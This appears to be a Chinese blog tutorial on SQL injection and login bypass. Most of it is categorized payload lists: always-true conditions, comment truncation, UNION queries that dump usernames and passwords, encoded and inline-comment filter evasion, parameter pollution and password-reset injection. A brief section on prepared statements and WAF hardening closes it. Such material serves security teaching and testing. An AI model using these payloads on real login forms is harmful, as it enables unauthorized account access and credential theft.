【web安全】SQL注入与认证绕过

目录

一、SQL注入漏洞

[1.1 基础注入原理](#1.1 基础注入原理)

[1.2 实用注入Payload分类](#1.2 实用注入Payload分类)

逻辑绕过型

注释截断型

联合查询型

常见的万能密码-CSDN博客

二、登录绕过实战技巧

[2.1 基础绕过手法](#2.1 基础绕过手法)

[2.2 高级绕过技巧](#2.2 高级绕过技巧)

编码绕过

多重注释

参数污染

三、密码重置漏洞利用

[3.1 常见漏洞模式](#3.1 常见漏洞模式)

[3.2 实用Payload](#3.2 实用Payload)

四、防御方案精要

[4.1 开发防护](#4.1 开发防护)

[4.2 运维加固](#4.2 运维加固)

速查表


一、SQL注入漏洞

1.1 基础注入原理

SQL注入是通过构造特殊输入改变原始SQL语句逻辑的攻击方式。典型攻击模式:

sql 复制代码
原始语句:SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
注入后: SELECT * FROM users WHERE username='admin'--' AND password='xxx'

1.2 实用注入Payload分类

逻辑绕过型
sql 复制代码
' OR 1=1 --
" OR "a"="a
' OR '1'='1
注释截断型
sql 复制代码
admin'#
admin'/*
admin'--
联合查询型
sql 复制代码
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

sql 复制代码
admin' OR '1'='1
admin'--
admin'/*

2.2 高级绕过技巧

编码绕过
sql 复制代码
admin%27%20OR%201%3D1--
多重注释
sql 复制代码
admin'/*!OR*/1=1--
参数污染
sql 复制代码
username=admin'--&username=realuser

三、密码重置漏洞利用

3.1 常见漏洞模式

sql 复制代码
UPDATE users SET password='[新密码]' WHERE username='[输入]'
注入: UPDATE users SET password='hacked' WHERE username='admin'--'

3.2 实用Payload

sql 复制代码
admin'--
' OR email='admin@example.com
' OR 1=1 LIMIT 1--

四、防御方案精要

4.1 开发防护

sql 复制代码
// 使用预编译语句
String sql = "SELECT * FROM users WHERE username=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);

4.2 运维加固

  1. 启用WAF规则过滤特殊字符

  2. 限制数据库账号权限

  3. 开启SQL执行日志审计

相关推荐
云水一下3 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
龙亘川3 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
漂着的圆木3 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
kybs19913 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens3 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电3 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH3 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车
Mikko73 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json